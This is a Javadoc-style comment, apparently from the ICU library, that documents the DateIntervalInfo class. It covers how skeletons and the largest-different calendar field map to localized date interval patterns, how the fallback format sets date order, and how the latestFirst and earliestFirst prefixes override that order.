/**
 * DateIntervalInfo is a public class for encapsulating localizable
 * date time interval patterns. It is used by DateIntervalFormat.
 *
 * <P>
 * For most users, ordinary use of DateIntervalFormat does not need to create
 * DateIntervalInfo object directly.
 * DateIntervalFormat will take care of it when creating a date interval
 * formatter when user pass in skeleton and locale.
 *
 * <P>
 * For power users, who want to create their own date interval patterns,
 * or want to re-set date interval patterns, they could do so by
 * directly creating DateIntervalInfo and manupulating it.
 *
 * <P>
 * Logically, the interval patterns are mappings
 * from (skeleton, the_largest_different_calendar_field)
 * to (date_interval_pattern).
 *
 * <P>
 * A skeleton
 * <ol>
 * <li>
 * only keeps the field pattern letter and ignores all other parts
 * in a pattern, such as space, punctuations, and string literals.
 * <li>
 * hides the order of fields.
 * <li>
 * might hide a field's pattern letter length.
 *
 * For those non-digit calendar fields, the pattern letter length is
 * important, such as MMM, MMMM, and MMMMM; EEE and EEEE,
 * and the field's pattern letter length is honored.
 *
 * For the digit calendar fields,  such as M or MM, d or dd, yy or yyyy,
 * the field pattern length is ignored and the best match, which is defined
 * in date time patterns, will be returned without honor the field pattern
 * letter length in skeleton.
 * </ol>
 *
 * <P>
 * The calendar fields we support for interval formatting are:
 * year, month, date, day-of-week, am-pm, hour, hour-of-day, and minute.
 * Those calendar fields can be defined in the following order:
 * year >  month > date > am-pm > hour >  minute
 *
 * The largest different calendar fields between 2 calendars is the
 * first different calendar field in above order.
 *
 * For example: the largest different calendar fields between &quot;Jan 10, 2007&quot;
 * and &quot;Feb 20, 2008&quot; is year.
 *
 * <P>
 * There is a set of pre-defined static skeleton strings.
 * There are pre-defined interval patterns for those pre-defined skeletons
 * in locales' resource files.
 * For example, for a skeleton UDAT_YEAR_ABBR_MONTH_DAY, which is  &quot;yMMMd&quot;,
 * in  en_US, if the largest different calendar field between date1 and date2
 * is &quot;year&quot;, the date interval pattern  is &quot;MMM d, yyyy - MMM d, yyyy&quot;,
 * such as &quot;Jan 10, 2007 - Jan 10, 2008&quot;.
 * If the largest different calendar field between date1 and date2 is &quot;month&quot;,
 * the date interval pattern is &quot;MMM d - MMM d, yyyy&quot;,
 * such as &quot;Jan 10 - Feb 10, 2007&quot;.
 * If the largest different calendar field between date1 and date2 is &quot;day&quot;,
 * the date interval pattern is &quot;MMM d-d, yyyy&quot;, such as &quot;Jan 10-20, 2007&quot;.
 *
 * For date skeleton, the interval patterns when year, or month, or date is
 * different are defined in resource files.
 * For time skeleton, the interval patterns when am/pm, or hour, or minute is
 * different are defined in resource files.
 *
 *
 * <P>
 * There are 2 dates in interval pattern. For most locales, the first date
 * in an interval pattern is the earlier date. There might be a locale in which
 * the first date in an interval pattern is the later date.
 * We use fallback format for the default order for the locale.
 * For example, if the fallback format is &quot;{0} - {1}&quot;, it means
 * the first date in the interval pattern for this locale is earlier date.
 * If the fallback format is &quot;{1} - {0}&quot;, it means the first date is the
 * later date.
 * For a particular interval pattern, the default order can be overriden
 * by prefixing &quot;latestFirst:&quot; or &quot;earliestFirst:&quot; to the interval pattern.
 * For example, if the fallback format is &quot;{0}-{1}&quot;,
 * but for skeleton &quot;yMMMd&quot;, the interval pattern when day is different is
 * &quot;latestFirst:d-d MMM yy&quot;, it means by default, the first date in interval
 * pattern is the earlier date. But for skeleton &quot;yMMMd&quot;, when day is different,
 * the first date in &quot;d-d MMM yy&quot; is the later date.
 *
 * <P>
 * The recommended way to create a DateIntervalFormat object is to pass in
 * the locale.
 * By using a Locale parameter, the DateIntervalFormat object is
 * initialized with the pre-defined interval patterns for a given or
 * default locale.
 * <P>
 * Users can also create DateIntervalFormat object
 * by supplying their own interval patterns.
 * It provides flexibility for power users.
 *
 * <P>
 * After a DateIntervalInfo object is created, clients may modify
 * the interval patterns using setIntervalPattern function as so desired.
 * Currently, users can only set interval patterns when the following
 * calendar fields are different: ERA, YEAR, MONTH, DATE,  DAY_OF_MONTH,
 * DAY_OF_WEEK, AM_PM,  HOUR, HOUR_OF_DAY, and MINUTE.
 * Interval patterns when other calendar fields are different is not supported.
 * <P>
 * DateIntervalInfo objects are cloneable.
 * When clients obtain a DateIntervalInfo object,
 * they can feel free to modify it as necessary.
 * <P>
 * DateIntervalInfo are not expected to be subclassed.
 * Data for a calendar is loaded out of resource bundles.
 * Through ICU 4.4, date interval patterns are only supported in the Gregorian
 * calendar; non-Gregorian calendars are supported from ICU 4.4.1.
